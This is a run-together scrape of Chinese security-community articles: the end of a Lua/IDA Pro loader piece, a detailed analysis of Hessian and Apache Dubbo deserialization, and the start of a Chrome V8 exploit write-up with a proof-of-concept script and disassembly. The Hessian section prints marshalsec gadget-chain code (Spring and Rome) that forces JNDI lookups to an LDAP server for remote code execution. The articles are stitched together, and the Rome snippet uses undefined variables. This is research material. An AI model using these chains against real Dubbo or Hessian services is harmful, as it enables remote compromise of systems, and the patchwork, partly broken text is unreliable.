Pro中手动导入C声明，然后执行File->Product file->Dump datebase to IDC file…，执行后会生成所有IDA
Pro操作过的idc脚本，其中包括导入与创建、应用数据结构体的部分。将这一段代码引入到Python中即可。这里add_structs()的代码片断如下：
def add_structs():
begin_type_updating(UTP_STRUCT)
AddStrucEx(-1, "GlobalHeader", 0)
AddStrucEx(-1, "ProtoHeader", 0)
id = GetStrucIdByName("GlobalHeader")
AddStrucMember(id, "signature", 0, 0x000400, -1, 4)
AddStrucMember(id, "version", 0X4, 0x000400, -1, 1)
AddStrucMember(id, "format", 0X5, 0x000400, -1, 1)
AddStrucMember(id, "endian", 0X6, 0x000400, -1, 1)
......
SetType(get_member_id(id, 0x0), "unsigned int")
SetType(get_member_id(id, 0x4), "unsigned int")
SetType(get_member_id(id, 0x8), "unsigned __int8")
SetType(get_member_id(id, 0x9), "unsigned __int8")
SetType(get_member_id(id, 0xA), "unsigned __int8")
end_type_updating(UTP_STRUCT)
set_inf_attr(INF_LOW_OFF, 0x20)
set_inf_attr(INF_HIGH_OFF, 0x22A)
添加了结构体后，执行MakeStruct(0,
“GlobalHeader”)即可将起始的HEADER数据段应好了GlobalHeader结体体信息。如图所示：
接着如法炮制，加载其他的段，加载完成后，执行如下的命令完成数据的映射工作：
li.file2base(0, 0, li.size(), 0)
最后，是调用add_entry()设置程序的入口点。完成后，加载器的工作基本就完成了。加载器完成Luac加载后，可以在IDA
Pro中查看它的段结构信息如下：
后面，将会是处理器模块负责创建函数、数据、交叉引用、反汇编等工作。
完整的luac_loader.py文件可以在这里找到：<https://github.com/feicong/lua_re>。
Lua程序逆向系列的故事仍然在继续着，To be continued… | 社区文章 |
**作者：Longofo@知道创宇404实验室**
**时间：2020年2月20日**
**英文版本：<https://paper.seebug.org/1137/>**
前不久有一个关于Apache Dubbo
Http反序列化的漏洞，本来是一个正常功能（通过正常调用抓包即可验证确实是正常功能而不是非预期的Post），通过Post传输序列化数据进行远程调用，但是如果Post传递恶意的序列化数据就能进行恶意利用。Apache
Dubbo还支持很多协议，例如Dubbo（Dubbo
Hessian2）、Hessian（包括Hessian与Hessian2，这里的Hessian2与Dubbo
Hessian2不是同一个）、Rmi、Http等。Apache
Dubbo是远程调用框架，既然Http方式的远程调用传输了序列化的数据，那么其他协议也可能存在类似问题，例如Rmi、Hessian等。@pyn3rd师傅之前在[twiter](https://twitter.com/pyn3rd/status/1229044609591869442)发了关于Apache
Dubbo Hessian协议的反序列化利用，Apache Dubbo
Hessian反序列化问题之前也被提到过，[这篇文章](https://docs.ioin.in/writeup/blog.csdn.net/_u011721501_article_details_79443598/index.html)里面讲到了Apache
Dubbo Hessian存在反序列化被利用的问题，类似的还有Apache Dubbo
Rmi反序列化问题。之前也没比较完整的去分析过一个反序列化组件处理流程，刚好趁这个机会看看Hessian序列化、反序列化过程，以及[marshalsec](https://github.com/mbechler/marshalsec)工具中对于Hessian的几条利用链。
#### 关于序列化/反序列化机制
序列化/反序列化机制（或者可以叫编组/解组机制，编组/解组比序列化/反序列化含义要广），参考[marshalsec.pdf](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)，可以将序列化/反序列化机制分大体分为两类：
1. 基于Bean属性访问机制
2. 基于Field机制
##### 基于Bean属性访问机制
* SnakeYAML
* jYAML
* YamlBeans
* Apache Flex BlazeDS
* Red5 IO AMF
* Jackson
* Castor
* Java XMLDecoder
* ...
它们最基本的区别是如何在对象上设置属性值，它们有共同点，也有自己独有的不同处理方式。有的通过反射自动调用`getter(xxx)`和`setter(xxx)`访问对象属性，有的还需要调用默认Constructor，有的处理器（指的上面列出来的那些）在反序列化对象时，如果类对象的某些方法还满足自己设定的某些要求，也会被自动调用。还有XMLDecoder这种能调用对象任意方法的处理器。有的处理器在支持多态特性时，例如某个对象的某个属性是Object、Interface、abstruct等类型，为了在反序列化时能完整恢复，需要写入具体的类型信息，这时候可以指定更多的类，在反序列化时也会自动调用具体类对象的某些方法来设置这些对象的属性值。这种机制的攻击面比基于Field机制的攻击面大，因为它们自动调用的方法以及在支持多态特性时自动调用方法比基于Field机制要多。
##### 基于Field机制
基于Field机制是通过特殊的native（native方法不是java代码实现的，所以不会像Bean机制那样调用getter、setter等更多的java方法）方法或反射（最后也是使用了native方式）直接对Field进行赋值操作的机制，不是通过getter、setter方式对属性赋值（下面某些处理器如果进行了特殊指定或配置也可支持Bean机制方式）。在ysoserial中的payload是基于原生Java
Serialization，marshalsec支持多种，包括上面列出的和下面列出的。
* Java Serialization
* Kryo
* Hessian
* json-io
* XStream
* ...
就对象进行的方法调用而言，基于字段的机制通常通常不构成攻击面。另外，许多集合、Map等类型无法使用它们运行时表示形式进行传输/存储（例如Map，在运行时存储是通过计算了对象的hashcode等信息，但是存储时是没有保存这些信息的），这意味着所有基于字段的编组器都会为某些类型捆绑定制转换器（例如Hessian中有专门的MapSerializer转换器）。这些转换器或其各自的目标类型通常必须调用攻击者提供的对象上的方法，例如Hessian中如果是反序列化map类型，会调用MapDeserializer处理map，期间map的put方法被调用，map的put方法又会计算被恢复对象的hash造成hashcode调用（这里对hashcode方法的调用就是前面说的必须调用攻击者提供的对象上的方法），根据实际情况，可能hashcode方法中还会触发后续的其他方法调用。
#### Hessian简介
Hessian是二进制的web service协议，官方对Java、Flash/Flex、Python、C++、.NET
C#等多种语言都进行了实现。Hessian和Axis、XFire都能实现web
service方式的远程方法调用，区别是Hessian是二进制协议，Axis、XFire则是SOAP协议，所以从性能上说Hessian远优于后两者，并且Hessian的JAVA使用方法非常简单。它使用Java语言接口定义了远程对象，集合了序列化/反序列化和RMI功能。本文主要讲解Hessian的序列化/反序列化。
下面做个简单测试下Hessian Serialization与Java Serialization：
//Student.java
import java.io.Serializable;
public class Student implements Serializable {
private static final long serialVersionUID = 1L;
private int id;
private String name;
private transient String gender;
public int getId() {
System.out.println("Student getId call");
return id;
}
public void setId(int id) {
System.out.println("Student setId call");
this.id = id;
}
public String getName() {
System.out.println("Student getName call");
return name;
}
public void setName(String name) {
System.out.println("Student setName call");
this.name = name;
}
public String getGender() {
System.out.println("Student getGender call");
return gender;
}
public void setGender(String gender) {
System.out.println("Student setGender call");
this.gender = gender;
}
public Student() {
System.out.println("Student default constractor call");
}
public Student(int id, String name, String gender) {
this.id = id;
this.name = name;
this.gender = gender;
}
@Override
public String toString() {
return "Student(id=" + id + ",name=" + name + ",gender=" + gender + ")";
}
}
//HJSerializationTest.java
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class HJSerializationTest {
public static <T> byte[] hserialize(T t) {
byte[] data = null;
try {
ByteArrayOutputStream os = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(os);
output.writeObject(t);
data = os.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
return data;
}
public static <T> T hdeserialize(byte[] data) {
if (data == null) {
return null;
}
Object result = null;
try {
ByteArrayInputStream is = new ByteArrayInputStream(data);
HessianInput input = new HessianInput(is);
result = input.readObject();
} catch (Exception e) {
e.printStackTrace();
}
return (T) result;
}
public static <T> byte[] jdkSerialize(T t) {
byte[] data = null;
try {
ByteArrayOutputStream os = new ByteArrayOutputStream();
ObjectOutputStream output = new ObjectOutputStream(os);
output.writeObject(t);
output.flush();
output.close();
data = os.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
return data;
}
public static <T> T jdkDeserialize(byte[] data) {
if (data == null) {
return null;
}
Object result = null;
try {
ByteArrayInputStream is = new ByteArrayInputStream(data);
ObjectInputStream input = new ObjectInputStream(is);
result = input.readObject();
} catch (Exception e) {
e.printStackTrace();
}
return (T) result;
}
public static void main(String[] args) {
Student stu = new Student(1, "hessian", "boy");
long htime1 = System.currentTimeMillis();
byte[] hdata = hserialize(stu);
long htime2 = System.currentTimeMillis();
System.out.println("hessian serialize result length = " + hdata.length + "," + "cost time：" + (htime2 - htime1));
long htime3 = System.currentTimeMillis();
Student hstudent = hdeserialize(hdata);
long htime4 = System.currentTimeMillis();
System.out.println("hessian deserialize result：" + hstudent + "," + "cost time：" + (htime4 - htime3));
System.out.println();
long jtime1 = System.currentTimeMillis();
byte[] jdata = jdkSerialize(stu);
long jtime2 = System.currentTimeMillis();
System.out.println("jdk serialize result length = " + jdata.length + "," + "cost time：" + (jtime2 - jtime1));
long jtime3 = System.currentTimeMillis();
Student jstudent = jdkDeserialize(jdata);
long jtime4 = System.currentTimeMillis();
System.out.println("jdk deserialize result：" + jstudent + "," + "cost time：" + (jtime4 - jtime3));
}
}
结果如下：
hessian serialize result length = 64,cost time：45
hessian deserialize result：Student(id=1,name=hessian,gender=null),cost time：3
jdk serialize result length = 100,cost time：5
jdk deserialize result：Student(id=1,name=hessian,gender=null),cost time：43
通过这个测试可以简单看出Hessian反序列化占用的空间比JDK反序列化结果小，Hessian序列化时间比JDK序列化耗时长，但Hessian反序列化很快。并且两者都是基于Field机制，没有调用getter、setter方法，同时反序列化时构造方法也没有被调用。
#### Hessian概念图
下面的是网络上对Hessian分析时常用的概念图，在新版中是整体也是这些结构，就直接拿来用了：
* Serializer：序列化的接口
* Deserializer ：反序列化的接口
* AbstractHessianInput ：hessian自定义的输入流，提供对应的read各种类型的方法
* AbstractHessianOutput ：hessian自定义的输出流，提供对应的write各种类型的方法
* AbstractSerializerFactory
* SerializerFactory ：Hessian序列化工厂的标准实现
* ExtSerializerFactory：可以设置自定义的序列化机制，通过该Factory可以进行扩展
* BeanSerializerFactory：对SerializerFactory的默认object的序列化机制进行强制指定，指定为使用BeanSerializer对object进行处理
Hessian Serializer/Derializer默认情况下实现了以下序列化/反序列化器，用户也可通过接口/抽象类自定义序列化/反序列化器：
序列化时会根据对象、属性不同类型选择对应的序列化其进行序列化；反序列化时也会根据对象、属性不同类型选择不同的反序列化器；每个类型序列化器中还有具体的FieldSerializer。这里注意下JavaSerializer/JavaDeserializer与BeanSerializer/BeanDeserializer，它们不是类型序列化/反序列化器，而是属于机制序列化/反序列化器：
1. JavaSerializer：通过反射获取所有bean的属性进行序列化，排除static和transient属性，对其他所有的属性进行递归序列化处理(比如属性本身是个对象)
2. BeanSerializer是遵循pojo bean的约定，扫描bean的所有方法，发现存在get和set方法的属性进行序列化，它并不直接直接操作所有的属性，比较温柔
#### Hessian反序列化过程
这里使用一个demo进行调试，在Student属性包含了String、int、List、Map、Object类型的属性，添加了各属性setter、getter方法，还有readResovle、finalize、toString、hashCode方法，并在每个方法中进行了输出，方便观察。虽然不会覆盖Hessian所有逻辑，不过能大概看到它的面貌：
//people.java
public class People {
int id;
String name;
public int getId() {
System.out.println("Student getId call");
return id;
}
public void setId(int id) {
System.out.println("Student setId call");
this.id = id;
}
public String getName() {
System.out.println("Student getName call");
return name;
}
public void setName(String name) {
System.out.println("Student setName call");
this.name = name;
}
}
//Student.java
public class Student extends People implements Serializable {
private static final long serialVersionUID = 1L;
private static Student student = new Student(111, "xxx", "ggg");
private transient String gender;
private Map<String, Class<Object>> innerMap;
private List<Student> friends;
public void setFriends(List<Student> friends) {
System.out.println("Student setFriends call");
this.friends = friends;
}
public void getFriends(List<Student> friends) {
System.out.println("Student getFriends call");
this.friends = friends;
}
public Map getInnerMap() {
System.out.println("Student getInnerMap call");
return innerMap;
}
public void setInnerMap(Map innerMap) {
System.out.println("Student setInnerMap call");
this.innerMap = innerMap;
}
public String getGender() {
System.out.println("Student getGender call");
return gender;
}
public void setGender(String gender) {
System.out.println("Student setGender call");
this.gender = gender;
}
public Student() {
System.out.println("Student default constructor call");
}
public Student(int id, String name, String gender) {
System.out.println("Student custom constructor call");
this.id = id;
this.name = name;
this.gender = gender;
}
private void readObject(ObjectInputStream ObjectInputStream) {
System.out.println("Student readObject call");
}
private Object readResolve() {
System.out.println("Student readResolve call");
return student;
}
@Override
public int hashCode() {
System.out.println("Student hashCode call");
return super.hashCode();
}
@Override
protected void finalize() throws Throwable {
System.out.println("Student finalize call");
super.finalize();
}
@Override
public String toString() {
return "Student{" +
"id=" + id +
", name='" + name + '\'' +
", gender='" + gender + '\'' +
", innerMap=" + innerMap +
", friends=" + friends +
'}';
}
}
//SerialTest.java
public class SerialTest {
public static <T> byte[] serialize(T t) {
byte[] data = null;
try {
ByteArrayOutputStream os = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(os);
output.writeObject(t);
data = os.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
return data;
}
public static <T> T deserialize(byte[] data) {
if (data == null) {
return null;
}
Object result = null;
try {
ByteArrayInputStream is = new ByteArrayInputStream(data);
HessianInput input = new HessianInput(is);
result = input.readObject();
} catch (Exception e) {
e.printStackTrace();
}
return (T) result;
}
public static void main(String[] args) {
int id = 111;
String name = "hessian";
String gender = "boy";
Map innerMap = new HashMap<String, Class<Object>>();
innerMap.put("1", ObjectInputStream.class);
innerMap.put("2", SQLData.class);
Student friend = new Student(222, "hessian1", "boy");
List friends = new ArrayList<Student>();
friends.add(friend);
Student stu = new Student();
stu.setId(id);
stu.setName(name);
stu.setGender(gender);
stu.setInnerMap(innerMap);
stu.setFriends(friends);
System.out.println("---------------hessian serialize----------------");
byte[] obj = serialize(stu);
System.out.println(new String(obj));
System.out.println("---------------hessian deserialize--------------");
Student student = deserialize(obj);
System.out.println(student);
}
}
下面是对上面这个demo进行调试后画出的Hessian在反序列化时处理的大致面貌（图片看不清，可以点[这个链接](https://www.processon.com/view/link/5c714c28e4b03334b5273bd6)查看）：
下面通过在调试到某些关键位置具体说明。
##### 获取目标类型反序列化器
首先进入HessianInput.readObject()，读取tag类型标识符，由于Hessian序列化时将结果处理成了Map，所以第一个tag总是M(ascii
77)：
在`case
77`这个处理中，读取了要反序列化的类型，接着调用`this._serializerFactory.readMap(in,type)`进行处理，默认情况下serializerFactory使用的Hessian标准实现SerializerFactory：
先获取该类型对应的Deserializer，接着调用对应Deserializer.readMap(in)进行处理，看下如何获取对应的Derserializer：
第一个红框中主要是判断在`_cacheTypeDeserializerMap`中是否缓存了该类型的反序列化器；第二个红框中主要是判断是否在`_staticTypeMap`中缓存了该类型反序列化器，`_staticTypeMap`主要存储的是基本类型与对应的反序列化器；第三个红框中判断是否是数组类型，如果是的话则进入数组类型处理；第四个获取该类型对应的Class，进入`this.getDeserializer(Class)`再获取该类对应的Deserializer，本例进入的是第四个：
这里再次判断了是否在缓存中，不过这次是使用的`_cacheDeserializerMap`，它的类型是`ConcurrentHashMap`，之前是`_cacheTypeDeserializerMap`，类型是`HashMap`，这里可能是为了解决多线程中获取的问题。本例进入的是第二个`this.loadDeserializer(Class)`：
第一个红框中是遍历用户自己设置的SerializerFactory，并尝试从每一个工厂中获取该类型对应的Deserializer；第二个红框中尝试从上下文工厂获取该类型对应的Deserializer；第三个红框尝试创建上下文工厂，并尝试获取该类型自定义Deserializer，并且该类型对应的Deserializer需要是类似`xxxHessianDeserializer`，xxx表示该类型类名；第四个红框依次判断，如果匹配不上，则使用`getDefaultDeserializer(Class)，`本例进入的是第四个：
`_isEnableUnsafeSerializer`默认是为true的，这个值的确定首先是根据`sun.misc.Unsafe`的theUnsafe字段是否为空决定，而`sun.misc.Unsafe`的theUnsafe字段默认在静态代码块中初始化了并且不为空，所以为true；接着还会根据系统属性`com.caucho.hessian.unsafe`是否为false，如果为false则忽略由`sun.misc.Unsafe`确定的值，但是系统属性`com.caucho.hessian.unsafe`默认为null，所以不会替换刚才的ture结果。因此，`_isEnableUnsafeSerializer`的值默认为true，所以上图默认就是使用的UnsafeDeserializer，进入它的构造方法。
##### 获取目标类型各属性反序列化器
在这里获取了该类型所有属性并确定了对应得FieldDeserializer，还判断了该类型的类中是否存在ReadResolve()方法，先看类型属性与FieldDeserializer如何确定：
获取该类型以及所有父类的属性，依次确定对应属性的FIeldDeserializer，并且属性不能是transient、static修饰的属性。下面就是依次确定对应属性的FieldDeserializer了，在UnsafeDeserializer中自定义了一些FieldDeserializer。
##### 判断目标类型是否定义了readResolve()方法
接着上面的UnsafeDeserializer构造器中，还会判断该类型的类中是否有`readResolve()`方法：
通过遍历该类中所有方法，判断是否存在`readResolve()`方法。
好了，后面基本都是原路返回获取到的Deserializer，本例中该类使用的是UnsafeDeserializer，然后回到`SerializerFactory.readMap(in,type)`中，调用`UnsafeDeserializer.readMap(in)`：
至此，获取到了本例中`com.longofo.deserialize.Student`类的反序列化器`UnsafeDeserializer`，以各字段对应的FieldSerializer，同时在Student类中定义了`readResolve()`方法，所以获取到了该类的`readResolve()`方法。
##### 为目标类型分配对象
接下来为目标类型分配了一个对象：
通过`_unsafe.allocateInstance(classType)`分配该类的一个实例，该方法是一个`sun.misc.Unsafe`中的native方法，为该类分配一个实例对象不会触发构造器的调用，这个对象的各属性现在也只是赋予了JDK默认值。
##### 目标类型对象属性值的恢复
接下来就是恢复目标类型对象的属性值：
进入循环，先调用`in.readObject()`从输入流中获取属性名称，接着从之前确定好的`this._fieldMap`中匹配该属性对应的FieldDeserizlizer，然后调用匹配上的FieldDeserializer进行处理。本例中进行了序列化的属性有innerMap（Map类型）、name（String类型）、id（int类型）、friends（List类型），这里以innerMap这个属性恢复为例。
###### 以InnerMap属性恢复为例
innerMap对应的FieldDeserializer为`UnsafeDeserializer$ObjectFieldDeserializer`：
首先调用`in.readObject(fieldClassType)`从输入流中获取该属性值，接着调用了`_unsafe.putObject`这个位于`sun.misc.Unsafe`中的native方法，并且不会触发getter、setter方法的调用。这里看下`in.readObject(fieldClassType)`具体如何处理的：
这里Map类型使用的是MapDeserializer，对应的调用`MapDeserializer.readMap(in)`方法来恢复一个Map对象：
注意这里的几个判断，如果是Map接口类型则使用HashMap，如果是SortedMap类型则使用TreeMap，其他Map则会调用对应的默认构造器，本例中由于是Map接口类型，使用的是HashMap。接下来经典的场景就来了，先使用`in.readObject()`（这个过程和之前的类似，就不重复了）恢复了序列化数据中Map的key，value对象，接着调用了`map.put(key,value)`，这里是HashMap，在HashMap的put方法会调用`hash(key)`触发key对象的`key.hashCode()`方法，在put方法中还会调用putVal，putVal又会调用key对象的`key.equals(obj)`方法。处理完所有key，value后，返回到`UnsafeDeserializer$ObjectFieldDeserializer`中：
使用native方法`_unsafe.putObject`完成对象的innerMap属性赋值。
#### Hessian的几条利用链分析
在marshalsec工具中，提供了对于Hessian反序列化可利用的几条链：
* Rome
* XBean
* Resin
* SpringPartiallyComparableAdvisorHolder
* SpringAbstractBeanFactoryPointcutAdvisor
下面分析其中的两条Rome和SpringPartiallyComparableAdvisorHolder，Rome是通过`HashMap.put`->`key.hashCode`触发，SpringPartiallyComparableAdvisorHolder是通过`HashMap.put`->`key.equals`触发。其他几个也是类似的，要么利用hashCode、要么利用equals。
##### SpringPartiallyComparableAdvisorHolder
在marshalsec中有所有对应的Gadget Test，很方便：
这里将Hessian对SpringPartiallyComparableAdvisorHolder这条利用链提取出来看得比较清晰些：
String jndiUrl = "ldap://localhost:1389/obj";
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);
//反序列化时BeanFactoryAspectInstanceFactory.getOrder会被调用，会触发调用SimpleJndiBeanFactory.getType->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookup
Reflections.setFieldValue(bf, "logger", new NoOpLog());
Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());
//反序列化时AspectJAroundAdvice.getOrder会被调用，会触发BeanFactoryAspectInstanceFactory.getOrder
AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
Reflections.setFieldValue(aif, "beanFactory", bf);
Reflections.setFieldValue(aif, "name", jndiUrl);
//反序列化时AspectJPointcutAdvisor.getOrder会被调用，会触发AspectJAroundAdvice.getOrder
AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);
Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);
//反序列化时PartiallyComparableAdvisorHolder.toString会被调用，会触发AspectJPointcutAdvisor.getOrder
AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);
Reflections.setFieldValue(advisor, "advice", advice);
//反序列化时Xstring.equals会被调用，会触发PartiallyComparableAdvisorHolder.toString
Class<?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
Object pcah = Reflections.createWithoutConstructor(pcahCl);
Reflections.setFieldValue(pcah, "advisor", advisor);
//反序列化时HotSwappableTargetSource.equals会被调用，触发Xstring.equals
HotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(Xstring("xxx"));
//反序列化时HashMap.putVal会被调用，触发HotSwappableTargetSource.equals。这里没有直接使用HashMap.put设置值，直接put会在本地触发利用链，所以使用marshalsec使用了比较特殊的处理方式。
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);
看以下触发流程：
经过`HessianInput.readObject()`，到了`MapDeserializer.readMap(in)`进行处理Map类型属性，这里触发了`HashMap.put(key,value)`：
`HashMap.put`有调用了`HashMap.putVal`方法，第二次put时会触发`key.equals(k)`方法：
此时key与k分别如下，都是HotSwappableTargetSource对象：
进入`HotSwappableTargetSource.equals`：
在`HotSwappableTargetSource.equals`中又触发了各自`target.equals`方法，也就是`XString.equals(PartiallyComparableAdvisorHolder)`：
在这里触发了`PartiallyComparableAdvisorHolder.toString`：
发了`AspectJPointcutAdvisor.getOrder`：
触发了`AspectJAroundAdvice.getOrder`：
这里又触发了`BeanFactoryAspectInstanceFactory.getOrder`：
又触发了`SimpleJndiBeanFactory.getTYpe`->`SimpleJndiBeanFactory.doGetType`->`SimpleJndiBeanFactory.doGetSingleton`->`SimpleJndiBeanFactory.lookup`->`JndiTemplate.lookup`->`Context.lookup`：
##### Rome
Rome相对来说触发过程简单些：
同样将利用链提取出来：
//反序列化时ToStringBean.toString()会被调用，触发JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookup
String jndiUrl = "ldap://localhost:1389/obj";
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo");
//反序列化时EqualsBean.beanHashCode会被调用，触发ToStringBean.toString
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, obj);
//反序列化时HashMap.hash会被调用，触发EqualsBean.hashCode->EqualsBean.beanHashCode
EqualsBean root = new EqualsBean(ToStringBean.class, item);
//HashMap.put->HashMap.putVal->HashMap.hash
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);
看下触发过程：
经过`HessianInput.readObject()`，到了`MapDeserializer.readMap(in)`进行处理Map类型属性，这里触发了`HashMap.put(key,value)`：
接着调用了hash方法，其中调用了`key.hashCode`方法：
接着触发了`EqualsBean.hashCode->EqualsBean.beanHashCode`：
触发了`ToStringBean.toString`：
这里调用了`JdbcRowSetImpl.getDatabaseMetadata`，其中又触发了`JdbcRowSetImpl.connect`->`context.lookup`：
##### 小结
通过以上两条链可以看出，在Hessian反序列化中基本都是利用了反序列化处理Map类型时，会触发调用`Map.put`->`Map.putVal`->`key.hashCode`/`key.equals`->...，后面的一系列出发过程，也都与多态特性有关，有的类属性是Object类型，可以设置为任意类，而在hashCode、equals方法又恰好调用了属性的某些方法进行后续的一系列触发。所以要挖掘这样的利用链，可以直接找有hashCode、equals以及readResolve方法的类，然后人进行判断与构造，不过这个工作量应该很大；或者使用一些利用链挖掘工具，根据需要编写规则进行扫描。
#### Apache Dubbo反序列化简单分析
##### Apache Dubbo Http反序列化
先简单看下之前说到的HTTP问题吧，直接用官方提供的[samples](https://github.com/apache/dubbo-samples/tree/master/java)，其中有一个dubbo-samples-http可以直接拿来用，直接在`DemoServiceImpl.sayHello`方法中打上断点，在`RemoteInvocationSerializingExporter.doReadRemoteInvocation`中反序列化了数据，使用的是Java
Serialization方式：
抓包看下，很明显的`ac ed`标志：
##### Apache Dubbo Dubbo反序列化
同样使用官方提供的dubbo-samples-basic，默认Dubbo
hessian2协议，Dubbo对hessian2进行了魔改，不过大体结构还是差不多，在`MapDeserializer.readMap`是依然与Hessian类似：
#### 参考
1. <https://docs.ioin.in/writeup/blog.csdn.net/_u011721501_article_details_79443598/index.html>
2. <https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf>
3. <https://www.mi1k7ea.com/2020/01/25/Java-Hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/>
4. <https://zhuanlan.zhihu.com/p/44787200>
* * * | 社区文章 |
# CanSecWest2017 Pwning Nexus of Every Pixel,Chrome v8部分漏洞利用详解
## bugs
<https://bugs.chromium.org/p/chromium/issues/detail?id=659475>
<https://chromium.googlesource.com/v8/v8/+/2bd7464ec1efc9eb24a38f7400119a5f2257f6e6>
## poc
function Ctor() {
n = new Set();
}
function Check() {
n.xyz = 0x826852f4;
parseInt('AAAAAAAA');
}
for(var i=0; i<2000; ++i) {
Ctor();
}
for(var i=0; i<2000; ++i) {
Check();
}
Ctor();
Check();
print("finish");
## 漏洞表现
### Check
#### 优化前
--- Raw source --- () {
n.xyz = 0x826852f4;
parseInt('AAAAAAAA');
}
--- Code --- 0x35680eb86a00 0 55 push rbp
0x35680eb86a01 1 4889e5 REX.W movq rbp,rsp
0x35680eb86a04 4 56 push rsi
0x35680eb86a05 5 57 push rdi
0x35680eb86a06 6 488b4f2f REX.W movq rcx,[rdi+0x2f]
0x35680eb86a0a 10 488b490f REX.W movq rcx,[rcx+0xf]
0x35680eb86a0e 14 83411b01 addl [rcx+0x1b],0x1
0x35680eb86a12 18 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x35680eb86a19 25 7305 jnc 32 (0x35680eb86a20)
0x35680eb86a1b 27 e8c0bef5ff call StackCheck (0x35680eae28e0) ;; code: BUILTIN
0x35680eb86a20 32 48b80000000002000000 REX.W movq rax,0x200000000
0x35680eb86a2a 42 e8b1d9ffff call 0x35680eb843e0 ;; code: LOAD_GLOBAL_IC
0x35680eb86a2f 47 50 push rax
0x35680eb86a30 48 48b8e9c362be00370000 REX.W movq rax,0x3700be62c3e9 ;; object: 0x3700be62c3e9 <Number: 2.18788e+09>
0x35680eb86a3a 58 5a pop rdx
0x35680eb86a3b 59 48b919b062be00370000 REX.W movq rcx,0x3700be62b019 ;; object: 0x3700be62b019 <String[3]: xyz>
0x35680eb86a45 69 48bf0000000004000000 REX.W movq rdi,0x400000000
0x35680eb86a4f 79 e80cb8f0ff call 0x35680ea92260 ;; code: STORE_IC
0x35680eb86a54 84 488b75f8 REX.W movq rsi,[rbp-0x8]
0x35680eb86a58 88 48b80000000008000000 REX.W movq rax,0x800000000
0x35680eb86a62 98 e879d9ffff call 0x35680eb843e0 ;; code: LOAD_GLOBAL_IC
0x35680eb86a67 103 50 push rax
0x35680eb86a68 104 49ba112330abf6000000 REX.W movq r10,0xf6ab302311 ;; object: 0xf6ab302311 <undefined>
0x35680eb86a72 114 4152 push r10
0x35680eb86a74 116 49ba39b062be00370000 REX.W movq r10,0x3700be62b039 ;; object: 0x3700be62b039 <String[8]: AAAAAAAA>
0x35680eb86a7e 126 4152 push r10
0x35680eb86a80 128 48ba0000000006000000 REX.W movq rdx,0x600000000
0x35680eb86a8a 138 488b7c2410 REX.W movq rdi,[rsp+0x10]
0x35680eb86a8f 143 b801000000 movl rax,0x1
0x35680eb86a94 148 e8a7ddffff call 0x35680eb84840 ;; code: CALL_IC
0x35680eb86a99 153 488b75f8 REX.W movq rsi,[rbp-0x8]
0x35680eb86a9d 157 4883c408 REX.W addq rsp,0x8
0x35680eb86aa1 161 498b45a0 REX.W movq rax,[r13-0x60]
0x35680eb86aa5 165 48bbc9c462be00370000 REX.W movq rbx,0x3700be62c4c9 ;; object: 0x3700be62c4c9 Cell for 6144
0x35680eb86aaf 175 83430bd1 addl [rbx+0xb],0xd1
0x35680eb86ab3 179 791f jns 212 (0x35680eb86ad4)
0x35680eb86ab5 181 50 push rax
0x35680eb86ab6 182 e8a5bdf5ff call InterruptCheck (0x35680eae2860) ;; code: BUILTIN
0x35680eb86abb 187 58 pop rax
0x35680eb86abc 188 48bbc9c462be00370000 REX.W movq rbx,0x3700be62c4c9 ;; object: 0x3700be62c4c9 Cell for 6144
0x35680eb86ac6 198 49ba0000000000180000 REX.W movq r10,0x180000000000
0x35680eb86ad0 208 4c895307 REX.W movq [rbx+0x7],r10
0x35680eb86ad4 212 c9 leavel
0x35680eb86ad5 213 c20800 ret 0x8
#### 优化后
